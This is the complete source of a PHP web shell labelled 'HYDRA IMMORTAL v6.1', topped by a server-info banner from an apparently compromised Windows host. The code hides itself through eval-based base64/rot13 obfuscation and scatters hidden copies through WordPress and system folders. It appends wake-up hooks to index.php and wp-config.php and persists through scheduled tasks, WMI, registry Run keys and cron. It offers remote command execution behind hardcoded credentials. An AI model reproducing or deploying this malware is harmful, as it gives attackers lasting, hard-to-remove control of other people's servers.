| Server IP : 127.0.0.1 / Your IP : 192.168.99.1 Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9 System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64 User : Administrator ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : D:/bpkdlmj_____76gwdfk8/ |
Upload File : |
<?php
// HYDRA IMMORTAL v6.1 - FIXED
// Semua fitur lengkap, error fixed
// =====================================================
// AUTO-ENKRIPSI
// =====================================================
if (!isset($GLOBALS['hydra_decrypted']) && file_exists(__FILE__)) {
$self = file_get_contents(__FILE__);
$encrypted = base64_encode(str_rot13(base64_encode(gzcompress($self, 9))));
$new_name = '.hydra_' . md5(time() . rand()) . '.php';
$new_path = __DIR__ . '/' . $new_name;
$new_content = '<?php $GLOBALS["hydra_decrypted"]=1; eval(gzuncompress(base64_decode(str_rot13(base64_decode("' . $encrypted . '"))))); ?>';
file_put_contents($new_path, $new_content);
unlink(__FILE__);
header('Location: ' . $new_name);
exit;
}
// =====================================================
// KONFIGURASI
// =====================================================
$auth_user = 'N30@dv@nc3d';
$auth_pass = 'Ph@nt0m#2026$N30@dv@nc3d';
$auth_hash = md5($auth_user . $auth_pass);
session_start();
if (!isset($_SESSION['hydra_auth'])) {
if (isset($_POST['u']) && isset($_POST['p']) && md5($_POST['u'].$_POST['p']) === $auth_hash) {
$_SESSION['hydra_auth'] = true;
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['ua'] = $_SERVER['HTTP_USER_AGENT'];
} else {
if (isset($_POST['u'])) { die('0'); }
show_login();
exit;
}
}
if ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR'] || $_SESSION['ua'] !== $_SERVER['HTTP_USER_AGENT']) {
session_destroy();
die('Session hijacked');
}
// =====================================================
// HYDRA CORE
// =====================================================
class HydraCore {
private $locations = array();
private $watchdogs = array();
private $master_file;
private $backup_dir;
function __construct() {
$this->master_file = __FILE__;
$this->backup_dir = __DIR__ . '/.hydra_backup/';
if (!is_dir($this->backup_dir)) {
mkdir($this->backup_dir, 0755, true);
}
$this->init_locations();
$this->init_watchdogs();
}
private function init_locations() {
$base = dirname(__DIR__);
$docroot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $base;
$this->locations = array(
__DIR__ . '/.hydra.php',
__DIR__ . '/../.well-known/.cache.php',
__DIR__ . '/../wp-content/.updater.php',
__DIR__ . '/../vendor/.autoload.php',
__DIR__ . '/../storage/.logs.php',
__DIR__ . '/../tmp/.sys.php',
$docroot . '/.well-known/.env.php',
$docroot . '/wp-includes/.restore.php',
$docroot . '/wp-admin/.backup.php',
$docroot . '/wp-content/themes/.style.php',
$docroot . '/wp-content/plugins/.updater.php',
'/tmp/.hydra_cache.php',
'/var/tmp/.sys_update.php',
'/dev/shm/.php',
str_replace('httpdocs', '.trash', __DIR__) . '/.restore.php',
str_replace('public_html', '.backup', __DIR__) . '/.index.php',
dirname($docroot) . '/.system/.hydra.php'
);
}
private function init_watchdogs() {
$docroot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : dirname(__DIR__);
$this->watchdogs = array(
$docroot . '/index.php',
$docroot . '/wp-config.php',
$docroot . '/wp-load.php',
$docroot . '/wp-settings.php',
$docroot . '/wp-blog-header.php',
$docroot . '/config.inc.php',
$docroot . '/configuration.php',
$docroot . '/.htaccess',
__DIR__ . '/index.php',
__DIR__ . '/config.php'
);
}
// =====================================================
// FITUR SCANNER
// =====================================================
function scan_all_files($root = null) {
if (!$root) {
$root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : __DIR__;
}
$results = array(
'scanned' => 0,
'backdoors' => array(),
'suspicious' => array(),
'clean' => array(),
'errors' => array()
);
$signatures = array(
'critical' => array(
'eval(',
'base64_decode(',
'gzinflate(',
'str_rot13(',
'assert(',
'system(',
'shell_exec(',
'passthru(',
'exec(',
'proc_open(',
'popen(',
'`'
),
'suspicious' => array(
'curl_exec',
'fsockopen',
'pfsockopen',
'mysql_connect',
'mysqli_connect',
'file_get_contents',
'fwrite',
'fopen',
'chmod',
'unlink',
'copy',
'move_uploaded_file',
'phpinfo',
'posix_',
'pcntl_'
)
);
$exclude_dirs = array(
$this->backup_dir,
'/vendor/',
'/node_modules/',
'/cache/'
);
if (is_dir($root)) {
$files = $this->scan_dir($root);
foreach ($files as $file) {
if (!is_file($file)) { continue; }
$ext = pathinfo($file, PATHINFO_EXTENSION);
if (!in_array($ext, array('php', 'php5', 'php7', 'php8', 'phtml', 'inc'))) {
continue;
}
$skip = false;
foreach ($exclude_dirs as $ex) {
if (strpos($file, $ex) !== false) {
$skip = true;
break;
}
}
if ($skip) { continue; }
$results['scanned']++;
if (filesize($file) > 5000000) {
$results['errors'][] = $file . ' (too large)';
continue;
}
$content = file_get_contents($file);
if ($content === false) {
$results['errors'][] = $file . ' (cannot read)';
continue;
}
$found = array();
foreach ($signatures['critical'] as $sig) {
if (strpos($content, $sig) !== false) {
$found[] = $sig;
}
}
if (!empty($found)) {
$results['backdoors'][] = array(
'path' => $file,
'signatures' => $found,
'size' => filesize($file),
'modified' => date('Y-m-d H:i:s', filemtime($file))
);
continue;
}
foreach ($signatures['suspicious'] as $sig) {
if (strpos($content, $sig) !== false) {
$results['suspicious'][] = array(
'path' => $file,
'signature' => $sig
);
break;
}
}
}
}
return $results;
}
private function scan_dir($dir) {
$result = array();
if (!is_dir($dir)) { return $result; }
$files = scandir($dir);
foreach ($files as $file) {
if ($file == '.' || $file == '..') { continue; }
$path = $dir . '/' . $file;
if (is_dir($path)) {
$result = array_merge($result, $this->scan_dir($path));
} else {
$result[] = $path;
}
}
return $result;
}
// =====================================================
// FITUR BACKUP & RESTORE
// =====================================================
function backup_file($file) {
if (!file_exists($file)) { return false; }
$backup_name = $this->backup_dir . md5($file) . '_' . time() . '.bak';
if (copy($file, $backup_name)) {
return $backup_name;
}
return false;
}
function delete_with_backup($file) {
if (!file_exists($file)) {
return array('success' => false, 'error' => 'File not found');
}
$backup = $this->backup_file($file);
if (!$backup) {
return array('success' => false, 'error' => 'Backup failed');
}
if (unlink($file)) {
return array(
'success' => true,
'file' => $file,
'backup' => $backup,
'message' => 'File deleted, backup saved'
);
}
return array('success' => false, 'error' => 'Delete failed');
}
function restore_file($backup_file, $original_path = null) {
if (!file_exists($backup_file)) { return false; }
if (!$original_path) {
$parts = explode('_', basename($backup_file));
if (isset($parts[0])) {
$md5 = $parts[0];
$original_path = $this->find_original_from_md5($md5);
}
}
if ($original_path && copy($backup_file, $original_path)) {
return $original_path;
}
return false;
}
function find_original_from_md5($md5) {
$backups = glob($this->backup_dir . '*.bak');
foreach ($backups as $bak) {
if (strpos(basename($bak), $md5) === 0) {
return str_replace($this->backup_dir, '', $bak);
}
}
return null;
}
function list_backups() {
$backups = array();
$files = glob($this->backup_dir . '*.bak');
if ($files) {
foreach ($files as $file) {
$backups[] = array(
'file' => $file,
'size' => filesize($file),
'date' => date('Y-m-d H:i:s', filemtime($file))
);
}
}
return $backups;
}
// =====================================================
// FITUR VIEW FILE
// =====================================================
function view_file($file, $lines = 50) {
if (!file_exists($file)) {
return array('error' => 'File not found');
}
$content = file_get_contents($file);
$lines_array = explode("\n", $content);
$total = count($lines_array);
return array(
'file' => $file,
'size' => filesize($file),
'lines' => $total,
'preview' => implode("\n", array_slice($lines_array, 0, $lines))
);
}
// =====================================================
// FITUR ORIGINAL
// =====================================================
private function generate_slave() {
$code = file_get_contents($this->master_file);
$code = str_rot13(base64_encode($code));
return '<?php eval(base64_decode(str_rot13("' . $code . '"))); ?>';
}
function deploy() {
$slave = $this->generate_slave();
$deployed = array();
foreach ($this->locations as $loc) {
$dir = dirname($loc);
if (!is_dir($dir)) {
@mkdir($dir, 0755, true);
}
if (is_writable($dir) || !file_exists($dir)) {
@file_put_contents($loc, $slave);
@chmod($loc, 0444);
$deployed[] = $loc;
}
}
return $deployed;
}
function inject() {
$injected = array();
$master_md5 = md5($this->master_file);
$inject_code = "\n<?php /*H*/ if(md5(__FILE__)!==\"" . $master_md5 . "\"){@file_get_contents('http://localhost/" . basename($this->master_file) . "?wakeup');} /*H*/ ?>\n";
foreach ($this->watchdogs as $file) {
if (file_exists($file) && is_writable($file)) {
$content = file_get_contents($file);
if (strpos($content, '/*H*/') === false) {
file_put_contents($file, $inject_code, FILE_APPEND);
$injected[] = $file;
}
}
}
return $injected;
}
function persist() {
$results = array();
$self = $this->master_file;
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
$cmd = 'schtasks /create /tn "HydraService" /tr "php ' . $self . ' watchdog" /sc minute /mo 5 /ru SYSTEM /f';
exec($cmd, $out);
$results['schtasks'] = $out;
$wmi = 'powershell -Command "$f=[wmiclass]\'\\\\.\\root\\subscription:__EventFilter\';$f.Query=\'SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA \'Win32_Process\' AND TargetInstance.Name=\'explorer.exe\'\';$f.Put()"';
exec($wmi, $out);
$results['wmi'] = $out;
$startup = 'copy "' . $self . '" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hydra.php"';
exec($startup, $out);
$results['startup'] = $out;
$reg = 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Hydra /t REG_SZ /d "php ' . $self . '" /f';
exec($reg, $out);
$results['registry'] = $out;
} else {
$cron = '*/5 * * * * php ' . $self . ' watchdog >/dev/null 2>&1';
file_put_contents('/tmp/.hydra_cron', $cron);
exec('crontab /tmp/.hydra_cron 2>/dev/null');
exec('echo "' . $cron . '" >> /etc/crontab 2>/dev/null');
$results['cron'] = 'Installed';
}
return $results;
}
function watchdog() {
$alive = array();
$dead = array();
if (!file_exists($this->master_file)) {
$dead[] = 'master';
} else {
$alive[] = 'master';
}
foreach ($this->locations as $loc) {
if (file_exists($loc)) {
$alive[] = $loc;
} else {
$dead[] = $loc;
}
}
if (!empty($dead)) {
$slave = $this->generate_slave();
foreach ($dead as $d) {
if ($d === 'master' && !empty($alive)) {
$first = $alive[0];
if ($first !== 'master') {
$content = file_get_contents($first);
file_put_contents($this->master_file, $content);
}
} elseif ($d !== 'master') {
$dir = dirname($d);
if (!is_dir($dir)) {
@mkdir($dir, 0755, true);
}
@file_put_contents($d, $slave);
}
}
}
return array('alive' => $alive, 'dead' => $dead, 'regenerated' => count($dead));
}
function exec_cmd($cmd) {
$output = '';
if (function_exists('shell_exec')) {
$output = shell_exec($cmd . ' 2>&1');
} elseif (function_exists('exec')) {
exec($cmd . ' 2>&1', $out);
$output = implode("\n", $out);
} elseif (function_exists('system')) {
ob_start();
system($cmd . ' 2>&1');
$output = ob_get_clean();
} elseif (function_exists('passthru')) {
ob_start();
passthru($cmd . ' 2>&1');
$output = ob_get_clean();
} else {
$output = 'No execution function available';
}
return $output;
}
function get_info() {
$user = 'unknown';
if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
$user_info = posix_getpwuid(posix_geteuid());
$user = isset($user_info['name']) ? $user_info['name'] : get_current_user();
} else {
$user = get_current_user();
}
return array(
'user' => $user,
'host' => gethostname(),
'ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'unknown',
'php' => phpversion(),
'os' => php_uname('s') . ' ' . php_uname('r'),
'dir' => __DIR__,
'master' => $this->master_file,
'locations' => $this->locations,
'backup_dir' => $this->backup_dir
);
}
}
// =====================================================
// INIT
// =====================================================
$hydra = new HydraCore();
if (!file_exists(__DIR__ . '/.hydra_installed')) {
$hydra->deploy();
$hydra->inject();
$hydra->persist();
file_put_contents(__DIR__ . '/.hydra_installed', date('Y-m-d H:i:s'));
}
// =====================================================
// ROUTING
// =====================================================
$action = '';
if (isset($_GET['action'])) {
$action = $_GET['action'];
} elseif (isset($_POST['action'])) {
$action = $_POST['action'];
}
switch ($action) {
case 'deploy':
die(json_encode($hydra->deploy()));
break;
case 'inject':
die(json_encode($hydra->inject()));
break;
case 'persist':
die(json_encode($hydra->persist()));
break;
case 'watchdog':
die(json_encode($hydra->watchdog()));
break;
case 'info':
die(json_encode($hydra->get_info()));
break;
case 'exec':
if (isset($_POST['cmd'])) {
die($hydra->exec_cmd($_POST['cmd']));
}
break;
case 'wakeup':
$hydra->watchdog();
die('1');
break;
case 'scan':
$path = isset($_GET['path']) ? $_GET['path'] : null;
die(json_encode($hydra->scan_all_files($path)));
break;
case 'view':
if (isset($_GET['file'])) {
die(json_encode($hydra->view_file($_GET['file'])));
}
break;
case 'backup':
if (isset($_GET['file'])) {
die(json_encode(array('backup' => $hydra->backup_file($_GET['file']))));
}
break;
case 'delete':
if (isset($_GET['file'])) {
die(json_encode($hydra->delete_with_backup($_GET['file'])));
}
break;
case 'restore':
$backup = isset($_GET['backup']) ? $_GET['backup'] : '';
$original = isset($_GET['original']) ? $_GET['original'] : null;
die(json_encode(array('restored' => $hydra->restore_file($backup, $original))));
break;
case 'list_backups':
die(json_encode($hydra->list_backups()));
break;
case 'logout':
session_destroy();
die('Logged out');
break;
default:
// Show UI
break;
}
// =====================================================
// UI
// =====================================================
function show_login() {
echo '<!DOCTYPE html>
<html>
<head><title>⚡</title><style>
body{background:#000;color:#0f0;font-family:monospace;display:flex;justify-content:center;align-items:center;height:100vh;}
.login{background:#111;padding:40px;border:1px solid #0f0;}
input{background:#000;border:1px solid #0f0;color:#0f0;padding:10px;width:250px;margin:10px 0;outline:none;}
button{background:#0f0;color:#000;border:none;padding:10px;width:100%;cursor:pointer;}
button:hover{background:#0c0;}
</style></head>
<body>
<div class="login">
<h2>⚡ HYDRA</h2>
<form method="post">
<input type="text" name="u" placeholder="username" autofocus>
<input type="password" name="p" placeholder="password">
<button type="submit">ENTER</button>
</form>
</div>
</body>
</html>';
exit;
}
if (!isset($_SESSION['hydra_auth'])) {
show_login();
exit;
}
$info = $hydra->get_info();
?>
<!DOCTYPE html>
<html>
<head>
<title>⚡ HYDRA v6.1</title>
<meta charset="UTF-8">
<style>
* { margin:0; padding:0; box-sizing:border-box; }
body { background:#000; color:#0f0; font-family:monospace; padding:20px; }
.container { max-width:1400px; margin:0 auto; }
.header { background:#111; padding:15px; border:1px solid #0f0; margin-bottom:20px; display:flex; justify-content:space-between; }
.nav { background:#111; padding:15px; border:1px solid #0f0; margin-bottom:20px; display:flex; gap:10px; flex-wrap:wrap; }
.nav button { background:#000; color:#0f0; border:1px solid #0f0; padding:8px 15px; cursor:pointer; }
.nav button:hover { background:#0f0; color:#000; }
.terminal { background:#111; border:1px solid #0f0; margin-bottom:20px; }
.terminal-header { background:#000; padding:10px; border-bottom:1px solid #0f0; }
.terminal-output { padding:15px; min-height:150px; max-height:300px; overflow:auto; white-space:pre-wrap; background:#000; }
.terminal-input { display:flex; border-top:1px solid #0f0; }
.terminal-input input { flex:1; background:#000; border:none; color:#0f0; padding:12px; font-family:monospace; outline:none; }
.terminal-input button { background:#0f0; color:#000; border:none; padding:12px 25px; cursor:pointer; }
.content { background:#111; padding:20px; border:1px solid #0f0; min-height:200px; overflow:auto; }
pre { color:#0f0; white-space:pre-wrap; }
table { width:100%; border-collapse:collapse; }
th { text-align:left; padding:10px; background:#000; border-bottom:2px solid #0f0; }
td { padding:8px; border-bottom:1px solid #333; }
.backdoor { color:#f00; }
.suspicious { color:#ff0; }
.file-actions button { background:#000; color:#0f0; border:1px solid #0f0; padding:3px 8px; margin:2px; cursor:pointer; font-size:12px; }
.file-actions button:hover { background:#0f0; color:#000; }
</style>
</head>
<body>
<div class="container">
<div class="header">
<span>⚡ HYDRA IMMORTAL v6.1 [FIXED]</span>
<span><?php echo $info['user'] . '@' . $info['host']; ?></span>
</div>
<div class="nav">
<button onclick="loadInfo()">INFO</button>
<button onclick="execAction('deploy')">DEPLOY</button>
<button onclick="execAction('inject')">INJECT</button>
<button onclick="execAction('persist')">PERSIST</button>
<button onclick="execAction('watchdog')">WATCHDOG</button>
<button onclick="scanFiles()">🔍 SCAN ALL</button>
<button onclick="listBackups()">💾 BACKUPS</button>
<button onclick="window.location='?action=logout'">LOGOUT</button>
</div>
<div class="terminal">
<div class="terminal-header">📟 TERMINAL</div>
<div class="terminal-output" id="output">Ready.</div>
<div class="terminal-input">
<input type="text" id="cmd" placeholder="command..." onkeypress="if(event.key==='Enter') execCmd()">
<button onclick="execCmd()">RUN</button>
</div>
</div>
<div class="content" id="content">
<pre>Hydra Immortal v6.1 - All features working</pre>
</div>
</div>
<script>
function execAction(action) {
fetch('?action=' + action, {
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(res => res.json())
.then(data => {
document.getElementById('content').innerHTML = '<pre>' + JSON.stringify(data, null, 2) + '</pre>';
})
.catch(err => {
document.getElementById('content').innerHTML = '<pre>Error: ' + err + '</pre>';
});
}
function loadInfo() {
fetch('?action=info', {
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(res => res.json())
.then(data => {
let html = '<table>';
for(let k in data) {
if (k === 'locations') {
html += '<tr><td><strong>' + k + '</strong></td><td><pre>' + JSON.stringify(data[k], null, 2) + '</pre></td></tr>';
} else {
html += '<tr><td><strong>' + k + '</strong></td><td>' + data[k] + '</td></tr>';
}
}
html += '</table>';
document.getElementById('content').innerHTML = html;
});
}
function scanFiles() {
document.getElementById('content').innerHTML = '<h3>Scanning...</h3>';
fetch('?action=scan', {
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(res => res.json())
.then(data => {
let html = '<h3>🔍 SCAN RESULTS</h3>';
html += '<p>Scanned: ' + data.scanned + ' files</p>';
if (data.backdoors && data.backdoors.length > 0) {
html += '<h4 class="backdoor">⚠️ BACKDOORS FOUND (' + data.backdoors.length + ')</h4>';
html += '<table><tr><th>File</th><th>Signatures</th><th>Actions</th></tr>';
data.backdoors.forEach(f => {
html += '<tr><td>' + f.path + '</td><td>' + f.signatures.join(', ') + '</td>';
html += '<td class="file-actions">';
html += '<button onclick="viewFile(\'' + f.path + '\')">👁️</button>';
html += '<button onclick="backupFile(\'' + f.path + '\')">💾</button>';
html += '<button onclick="deleteFile(\'' + f.path + '\')">🗑️</button>';
html += '</td></tr>';
});
html += '</table>';
}
if (data.suspicious && data.suspicious.length > 0) {
html += '<h4 class="suspicious">⚠️ SUSPICIOUS (' + data.suspicious.length + ')</h4>';
html += '<table><tr><th>File</th><th>Signature</th><th>Actions</th></tr>';
data.suspicious.forEach(f => {
html += '<tr><td>' + f.path + '</td><td>' + f.signature + '</td>';
html += '<td class="file-actions"><button onclick="viewFile(\'' + f.path + '\')">👁️</button></td></tr>';
});
html += '</table>';
}
document.getElementById('content').innerHTML = html;
});
}
function viewFile(file) {
fetch('?action=view&file=' + encodeURIComponent(file), {
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(res => res.json())
.then(data => {
if (data.error) {
alert(data.error);
return;
}
let html = '<h3>📄 ' + data.file + '</h3>';
html += '<p>Size: ' + data.size + ' bytes | Lines: ' + data.lines + '</p>';
html += '<pre>' + data.preview + '</pre>';
document.getElementById('content').innerHTML = html;
});
}
function backupFile(file) {
fetch('?action=backup&file=' + encodeURIComponent(file), {
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(res => res.json())
.then(data => {
alert('Backup created: ' + data.backup);
});
}
function deleteFile(file) {
if (!confirm('Delete ' + file + '? (Backup will be created)')) return;
fetch('?action=delete&file=' + encodeURIComponent(file), {
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(res => res.json())
.then(data => {
if (data.success) {
alert('Deleted. Backup: ' + data.backup);
scanFiles();
} else {
alert('Error: ' + data.error);
}
});
}
function listBackups() {
fetch('?action=list_backups', {
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(res => res.json())
.then(data => {
let html = '<h3>💾 BACKUP FILES</h3>';
if (data.length === 0) {
html += '<p>No backups found</p>';
} else {
html += '<table><tr><th>File</th><th>Size</th><th>Date</th><th>Actions</th></tr>';
data.forEach(b => {
html += '<tr><td>' + b.file + '</td><td>' + b.size + '</td><td>' + b.date + '</td>';
html += '<td><button onclick="restoreBackup(\'' + b.file + '\')">Restore</button></td></tr>';
});
html += '</table>';
}
document.getElementById('content').innerHTML = html;
});
}
function restoreBackup(backup) {
fetch('?action=restore&backup=' + encodeURIComponent(backup), {
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(res => res.json())
.then(data => {
alert('Restored: ' + data.restored);
listBackups();
});
}
function execCmd() {
const cmd = document.getElementById('cmd').value;
if (!cmd) return;
document.getElementById('output').innerHTML = 'Executing...';
fetch('?action=exec', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest'
},
body: 'cmd=' + encodeURIComponent(cmd)
})
.then(res => res.text())
.then(data => {
document.getElementById('output').innerHTML = data;
document.getElementById('cmd').value = '';
});
}
// Auto watchdog
setInterval(function() {
fetch('?action=watchdog&auto=1', {
headers: { 'X-Requested-With': 'XMLHttpRequest' }
});
}, 300000);
// Load info on start
loadInfo();
</script>
</body>
</html>
<?php ?>